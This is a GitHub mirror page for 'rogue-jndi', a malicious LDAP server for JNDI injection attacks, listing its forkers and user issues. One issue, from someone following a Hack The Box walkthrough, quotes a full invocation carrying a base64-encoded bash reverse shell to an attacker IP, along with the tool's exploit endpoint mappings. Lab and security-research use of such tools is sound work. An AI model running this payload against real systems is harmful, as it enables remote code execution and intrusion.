veracode-research / rogue-jndi Goto Github PK
View Code? Open in Web Editor NEWA malicious LDAP server for JNDI injection attacks
License: MIT License
rogue-jndi's People
Contributors
![dependabot[bot] avatar](https://avatars.githubusercontent.com/in/29110?v=4 "dependabot[bot]")
Stargazers
Watchers
Forkers
0c0c0f lucifaer uuuunotfound imulmul crackercat deidarayu r4b3rt dreamsroid makefunny luakt raystyle jackyyvan fanyibo2009 020monkey jinstart ndbrain timoles zhzhdoai laowang1026 artsploit mrseccoder uunoob popmedd zzwlpx monopole-zh jas502n n1f2c3 cyal1 prettyrecon fdlucifer aaaaaaa-ops wdahlenburg coffeehb-org arthurjohansson pyking gamblingmaster2020 richizo afwu mrknow001 bravery9 dd404x huy4ng rank0 mandarenmanman icysun affix numanturle zhencode1 madusec chann-tx 4hm3r eriner mojodojo101 mfadzilr goncalor rwincey kurisufriend bhishma14 sathishlkumar udyz lalkaltest waterovo memzer0x yaeger j5s lfgrillo83 zzzapzzz iaksit shaunstanislauslau potat0chips sv3nbeast dennis-kr lorexxar shikong-sk jxcyber johnjohnsp1 epichoxha mayfly277 xqd-ai lnm3000 gaslox lhotari meier-philipp hatchedcode h3ggor c0olw dummykitty zigad ltidi2000 kgurjar1947 reznok hawkcraft-heaton huazailmh xprog12 akashrpatil uid-root seh-msft upeshk parkjunmin tochnyrogue-jndi's Issues
jdk版本
我使用dnslog是可以正常请求到包。但是我本地mvn3.6.1和jdk11.0.13使用了相同的方法但是无法成功，jdk高版本会导致这个问题吗？
Pull Request To Add Jetty Gadget
Hello Veracode Reasearch,
Please I don't know if you could add a gadget for jetty eclipse based systems ?
Kind Regards,
@abrahack .
This doesn't work
So I am following this write up exactly: https://systemweakness.com/write-up-hack-the-box-starting-point-unified-tier-2-d4f3585320a1
But It does not work when I get to using rogue-jndi
This is what I get:
jacob@jacob-virtualbox:~$ java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuODEvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.16.81"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.16.81:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.10.16.81:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://10.10.16.81:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.10.16.81:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Mapping ldap://10.10.16.81:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.10.16.81:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.10.16.81:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.10.16.81:1389/o=tomcat to artsploit.controllers.Tomcat
Sending LDAP reference result for http://10.10.16.81:8000/xExportObject.class
It looks like it never refers it to download the file
a spelling mistake in artsploit.HttpServer
In case "/upload.wsdl", it should be xExportObject.jar NOT xExploitObject.jar in the xml which takes me hours to finally figure it out. Anywary, great work!
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.